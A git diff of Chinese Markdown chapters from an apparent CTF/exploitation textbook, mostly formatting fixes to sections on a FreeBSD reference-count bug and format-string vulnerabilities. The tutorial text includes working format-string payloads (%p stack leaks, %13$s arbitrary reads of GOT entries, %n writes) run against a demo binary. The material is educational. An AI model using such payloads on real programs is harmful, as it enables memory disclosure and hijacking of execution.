如果有两个或两个以上执行者将要执行某一动作并且执行结果会由于它们执行顺序的不同而完全不同时,也就是发生了竞争条件。避免竞争条件的方法有很多,例如通过锁、信号量、条件变量等来保证各种行动者之间的同步性。竞争条件中最重要的一点是可竞争窗口的大小,它对于触发竞态条件的难易至关重要,由于这个原因,一些竞态条件的情况只能在对称多处理器(SMP)中被利用。 -#### 逻辑 bug +### 逻辑 bug + 逻辑 bug 有很多种,下面介绍一个引用计数器溢出。我们知道共享资源都有一个引用计数,并在计数为零时释放掉资源,保持足够的内存空间。操作系统往往提供 get 和 put/drop 这样的函数来显式地增加和减少引用计数。 看一个 FreeBSD V5.0 的例子: + ```c int fpathconf(td, uap) struct thread *td; @@ -180,14 +197,14 @@ out: return (error); } ``` -`fpathconf()` 系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 `fget()` 获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 `fdrop()` 释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 `fpathconf()` 并触发 [2] 处的返回,则有可能导致引用计数器的溢出。 +`fpathconf()` 系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 `fget()` 获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 `fdrop()` 释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 `fpathconf()` 并触发 [2] 处的返回,则有可能导致引用计数器的溢出。 ## 内核利用方法 - ## 参考资料 -- <> + +- A Guide to Kernel Exploitation: Attacking the Core - [Kernel memory corruption, ucred.cr_groups[]](https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=138657) - [CVE-2008-0009/CVE-2008-0010: Linux kernel vmsplice(2) Privilege Escalation](https://xorl.wordpress.com/2009/08/10/cve-2008-0600cve-2008-0010-linux-kernel-vmsplice2-privilege-escalation/) - [FreeBSD FireWire IOCTL kernel integer overflow information disclousure](https://www.kernelhacking.com/bsdadv1.txt) diff --git a/doc/3.1.12_windows_kernel_exploit.md b/doc/3.1.12_windows_kernel_exploit.md index fea23dd..29c2bc0 100644 --- a/doc/3.1.12_windows_kernel_exploit.md +++ b/doc/3.1.12_windows_kernel_exploit.md @@ -2,7 +2,7 @@ - [参考资料](#参考资料) - ## 参考资料 + - [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) - [windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) diff --git a/doc/3.1.1_format_string.md b/doc/3.1.1_format_string.md index 1e711da..86b9ecc 100644 --- a/doc/3.1.1_format_string.md +++ b/doc/3.1.1_format_string.md @@ -7,12 +7,11 @@ - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [扩展阅读](#扩展阅读) - ## 格式化输出函数和格式字符串 在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。 -#### 函数 +### 函数 ```c #include @@ -24,28 +23,28 @@ int sprintf(char *str, const char *format, ...); int snprintf(char *str, size_t size, const char *format, ...); ``` -#### 转换指示符 +### 转换指示符 -字符 | 类型 | 使用 ---- | --- | --- -d | 4-byte | Integer -u | 4-byte | Unsigned Integer -x | 4-byte | Hex -s | 4-byte ptr | String -c | 1-byte | Character +| 字符 | 类型 | 使用 | +| --- | --- | --- | +| d | 4-byte | Integer | +| u | 4-byte | Unsigned Integer | +| x | 4-byte | Hex | +| s | 4-byte ptr | String | +| c | 1-byte | Character | -#### 长度 +### 长度 -字符 | 类型 | 使用 ---- | --- | --- -hh | 1-byte | char -h | 2-byte | short int -l | 4-byte | long int -ll | 8-byte | long long int +|字符 | 类型 | 使用 | +| --- | --- | --- | +| hh | 1-byte | char | +| h | 2-byte | short int | +| l | 4-byte | long int | +| ll | 8-byte | long long int | -#### 示例 +### 示例 -``` +```c #include #include void main() { @@ -54,6 +53,7 @@ void main() { printf(format, arg1); } ``` + ```c printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001" printf("%.2f", 1.2345); // 1.23 @@ -62,47 +62,49 @@ printf("%#010x", 3735928559); // 0xdeadbeef printf("%s%n", "01234", &n); // n = 5 ``` - ## 格式化字符串漏洞基本原理 在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子: + ```c #include void main() { - printf("%s %d %s", "Hello World!", 233, "\n"); + printf("%s %d %s", "Hello World!", 233, "\n"); } ``` + ```text gdb-peda$ disassemble main Dump of assembler code for function main: - 0x0000053d <+0>: lea ecx,[esp+0x4] - 0x00000541 <+4>: and esp,0xfffffff0 - 0x00000544 <+7>: push DWORD PTR [ecx-0x4] - 0x00000547 <+10>: push ebp - 0x00000548 <+11>: mov ebp,esp - 0x0000054a <+13>: push ebx - 0x0000054b <+14>: push ecx - 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax> - 0x00000551 <+20>: add eax,0x1aaf - 0x00000556 <+25>: lea edx,[eax-0x19f0] - 0x0000055c <+31>: push edx - 0x0000055d <+32>: push 0xe9 - 0x00000562 <+37>: lea edx,[eax-0x19ee] - 0x00000568 <+43>: push edx - 0x00000569 <+44>: lea edx,[eax-0x19e1] - 0x0000056f <+50>: push edx - 0x00000570 <+51>: mov ebx,eax - 0x00000572 <+53>: call 0x3d0 - 0x00000577 <+58>: add esp,0x10 - 0x0000057a <+61>: nop - 0x0000057b <+62>: lea esp,[ebp-0x8] - 0x0000057e <+65>: pop ecx - 0x0000057f <+66>: pop ebx - 0x00000580 <+67>: pop ebp - 0x00000581 <+68>: lea esp,[ecx-0x4] - 0x00000584 <+71>: ret + 0x0000053d <+0>: lea ecx,[esp+0x4] + 0x00000541 <+4>: and esp,0xfffffff0 + 0x00000544 <+7>: push DWORD PTR [ecx-0x4] + 0x00000547 <+10>: push ebp + 0x00000548 <+11>: mov ebp,esp + 0x0000054a <+13>: push ebx + 0x0000054b <+14>: push ecx + 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax> + 0x00000551 <+20>: add eax,0x1aaf + 0x00000556 <+25>: lea edx,[eax-0x19f0] + 0x0000055c <+31>: push edx + 0x0000055d <+32>: push 0xe9 + 0x00000562 <+37>: lea edx,[eax-0x19ee] + 0x00000568 <+43>: push edx + 0x00000569 <+44>: lea edx,[eax-0x19e1] + 0x0000056f <+50>: push edx + 0x00000570 <+51>: mov ebx,eax + 0x00000572 <+53>: call 0x3d0 + 0x00000577 <+58>: add esp,0x10 + 0x0000057a <+61>: nop + 0x0000057b <+62>: lea esp,[ebp-0x8] + 0x0000057e <+65>: pop ecx + 0x0000057f <+66>: pop ebx + 0x00000580 <+67>: pop ebp + 0x00000581 <+68>: lea esp,[ecx-0x4] + 0x00000584 <+71>: ret End of assembler dump. ``` + ```text gdb-peda$ n [----------------------------------registers-----------------------------------] @@ -114,17 +116,17 @@ ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd220 --> 0x5655561f ("%s %d %s") -EIP: 0x56555572 (: call 0x565553d0 ) +EIP: 0x56555572 (: call 0x565553d0 ) EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x56555569 : lea edx,[eax-0x19e1] - 0x5655556f : push edx - 0x56555570 : mov ebx,eax -=> 0x56555572 : call 0x565553d0 - 0x56555577 : add esp,0x10 - 0x5655557a : nop - 0x5655557b : lea esp,[ebp-0x8] - 0x5655557e : pop ecx + 0x56555569 : lea edx,[eax-0x19e1] + 0x5655556f : push edx + 0x56555570 : mov ebx,eax +=> 0x56555572 : call 0x565553d0 + 0x56555577 : add esp,0x10 + 0x5655557a : nop + 0x5655557b : lea esp,[ebp-0x8] + 0x5655557e : pop ecx Guessed arguments: arg[0]: 0x5655561f ("%s %d %s") arg[1]: 0x56555612 ("Hello World!") @@ -138,27 +140,32 @@ arg[3]: 0x56555610 --> 0x6548000a ('\n') 0016| 0xffffd230 --> 0xffffd250 --> 0x1 0020| 0xffffd234 --> 0x0 0024| 0xffffd238 --> 0x0 -0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) +0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555572 in main () ``` + ```text gdb-peda$ r Continuing Hello World! 233 [Inferior 1 (process 27416) exited with code 022] ``` + 根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的) 接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞: + ```c #include void main() { - printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n"); + printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n"); } ``` + 反汇编后的代码同上,没有任何区别。我们主要看一下参数传递: + ```text gdb-peda$ n [----------------------------------registers-----------------------------------] @@ -170,17 +177,17 @@ ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s") -EIP: 0x56555572 (: call 0x565553d0 ) +EIP: 0x56555572 (: call 0x565553d0 ) EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x56555569 : lea edx,[eax-0x19e1] - 0x5655556f : push edx - 0x56555570 : mov ebx,eax -=> 0x56555572 : call 0x565553d0 - 0x56555577 : add esp,0x10 - 0x5655557a : nop - 0x5655557b : lea esp,[ebp-0x8] - 0x5655557e : pop ecx + 0x56555569 : lea edx,[eax-0x19e1] + 0x5655556f : push edx + 0x56555570 : mov ebx,eax +=> 0x56555572 : call 0x565553d0 + 0x56555577 : add esp,0x10 + 0x5655557a : nop + 0x5655557b : lea esp,[ebp-0x8] + 0x5655557e : pop ecx Guessed arguments: arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s") arg[1]: 0x56555612 ("Hello World!") @@ -194,11 +201,12 @@ arg[3]: 0x56555610 --> 0x6548000a ('\n') 0016| 0xffffd230 --> 0xffffd250 --> 0x1 0020| 0xffffd234 --> 0x0 0024| 0xffffd238 --> 0x0 -0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) +0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555572 in main () ``` + ```text gdb-peda$ c Continuing. @@ -206,9 +214,11 @@ Hello World! 233 ffffd250 0 0 [Inferior 1 (process 27480) exited with code 041] ``` + 这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c` 中 `\n` 的重用。 上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞: + ```c #include void main() { @@ -218,6 +228,7 @@ void main() { printf(buf); } ``` + ```text gdb-peda$ n [----------------------------------registers-----------------------------------] @@ -229,24 +240,24 @@ ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n") -EIP: 0x5655562a (: call 0x56555450 ) +EIP: 0x5655562a (: call 0x56555450 ) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x56555623 : sub esp,0xc - 0x56555626 : lea eax,[ebp-0x3e] - 0x56555629 : push eax -=> 0x5655562a : call 0x56555450 - 0x5655562f : add esp,0x10 - 0x56555632 : jmp 0x56555635 - 0x56555634 : nop - 0x56555635 : mov eax,DWORD PTR [ebp-0xc] + 0x56555623 : sub esp,0xc + 0x56555626 : lea eax,[ebp-0x3e] + 0x56555629 : push eax +=> 0x5655562a : call 0x56555450 + 0x5655562f : add esp,0x10 + 0x56555632 : jmp 0x56555635 + 0x56555634 : nop + 0x56555635 : mov eax,DWORD PTR [ebp-0xc] Guessed arguments: arg[0]: 0xffffd1fa ("Hello %x %x %x !\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n") 0004| 0xffffd1e4 --> 0x32 ('2') 0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288 -0012| 0xffffd1ec --> 0x565555f4 (: add ebx,0x1a0c) +0012| 0xffffd1ec --> 0x565555f4 (: add ebx,0x1a0c) 0016| 0xffffd1f0 --> 0xffffffff 0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out") 0024| 0xffffd1f8 --> 0x65485ea0 @@ -255,15 +266,18 @@ arg[0]: 0xffffd1fa ("Hello %x %x %x !\n") Legend: code, data, rodata, value 0x5655562a in main () ``` + ```text gdb-peda$ c Continuing. Hello 32 f7f95580 565555f4 ! [Inferior 1 (process 28253) exited normally] ``` + 如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n` 是 `fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。 我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题: + - 为什么可以通过编译? - 因为 `printf()` 函数的参数被定义为可变的。 - 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。 @@ -271,28 +285,30 @@ Hello 32 f7f95580 565555f4 ! - `printf()` 函数自己可以发现不匹配吗? - `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。 - ## 格式化字符串漏洞利用 通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 -#### 使程序崩溃 +### 使程序崩溃 格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。 利用类似下面的格式字符串即可触发漏洞: + ```c printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") ``` + - 对于每一个 `%s`,`printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。 - 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。 - 还有可能获得的数字确实是一个地址,但是该地址是被保护的。 -#### 查看栈内容 +### 查看栈内容 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。 下面的演示我们都使用下面的[源码](../src/others/3.1.1_format_string/fmt_2.c): + ```c #include void main() { @@ -304,12 +320,14 @@ void main() { printf("\n"); } ``` + ```text # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` 我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。 + ```text gdb-peda$ n [----------------------------------registers-----------------------------------] @@ -358,10 +376,12 @@ gdb-peda$ c Continuing. 00000001.88888888.ffffffff.ffffd57a.ffffd584 ``` + 格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。 当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。 -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%p.%p.%p.%p.%p") @@ -407,13 +427,16 @@ Continuing. ``` 上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串: -``` + +```text %$ %n$x ``` + 这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。 -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") @@ -461,13 +484,16 @@ gdb-peda$ c Continuing. ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220 ``` + 这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。 -#### 查看任意地址的内存 +### 查看任意地址的内存 + 攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。 还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%4$s") @@ -513,7 +539,8 @@ ABCD ``` 上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。 -``` + +```text gdb-peda$ python print("AAAA"+".%p"*20) AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ... @@ -557,8 +584,10 @@ arg[4]: 0xffffd57a ("ABCD") Legend: code, data, rodata, value 0x56555642 in main () ``` + 格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的: -``` + +```text gdb-peda$ x/20w $esp 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 @@ -572,14 +601,18 @@ gdb-peda$ x/20wb 0xffffd584 gdb-peda$ python print('\x2e\x25\x70') .%p ``` + 下面是程序运行的结果: -``` + +```text gdb-peda$ c Continuing. AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ``` + `0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`: -``` + +```text $ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. @@ -598,7 +631,7 @@ ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -636,7 +669,8 @@ z���.ABCD 当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样: 先看一下重定向表: -``` + +```text $ readelf -r a.out Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries: @@ -650,25 +684,31 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries: 0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7 ``` + `.rel.plt` 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 `printf`、`__libc_start_main`、`putchar` 和 `__isoc99_scanf`: -``` -$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out -.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 + +```text +$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out +.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 $ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out -.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e -$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out -.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out +.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e $ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out ▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ``` + 细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08`(`0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表: -``` + +```text Oct Dec Hex Char ────────────────────────────────────── 014 12 0C FF '\f' (form feed) ``` + 于是就被省略了,同样会被省略的还有很多,如 `\x07`('\a')、`\x08`('\b')、`\x20`(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(`__isoc99_scanf`)。 -``` + +```text $ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. @@ -687,7 +727,7 @@ ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -721,12 +761,15 @@ gdb-peda$ c Continuing. ▒���� ``` + 虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。 当然并非总能通过使用 4 字节的跳转(如 `AAAA`)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。 -#### 覆盖栈内容 +### 覆盖栈内容 + 现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。`%n` 转换指示符将 `%n` 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。 + ```c #include void main() { @@ -737,14 +780,17 @@ void main() { printf("%d\n", i); } ``` -``` + +```text $ ./a.out hello 6 ``` + `i` 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(`hello` 加上一个空格)。在没有长度修饰符时,默认写入一个 `int` 类型的值。 通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(`0` 补齐时在宽度前加点`.` 或 `0`)。如: + ```c #include void main() { @@ -758,7 +804,8 @@ void main() { printf("%d\n", i); } ``` -``` + +```text $ ./a.out 1 10 @@ -767,18 +814,22 @@ $ ./a.out 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 100 ``` + 就是这样,下面我们把地址 `0x8048000` 写入内存: -``` + +```c printf("%0134512640d%n\n", 1, &i); ``` -``` + +```text $ ./a.out ... 0x8048000 ``` 还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32),在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564`),`printf()` 就是通过这个地址找到被覆盖的内容的: -``` + +```text $ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. @@ -797,7 +848,7 @@ ESP: 0xffffd52c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0xf7e27c1b : ret + 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> @@ -825,7 +876,7 @@ gdb-peda$ x/20x $esp 0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025 0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24 -gdb-peda$ finish +gdb-peda$ finish Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 [----------------------------------registers-----------------------------------] EAX: 0x20 (' ') @@ -866,11 +917,14 @@ gdb-peda$ x/20x $esp 0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025 0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240 ``` + 对比 `printf()` 函数执行前后的输出,`printf` 首先解析 `%13$n` 找到获得地址 `0xffffd564` 的值 `0xffffd538`,然后跳转到地址 `0xffffd538`,将它的值 `0x88888888` 覆盖为 `0x00000020`,就得到 `arg2=0x00000020`。 -#### 覆盖任意地址内存 +### 覆盖任意地址内存 + 也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 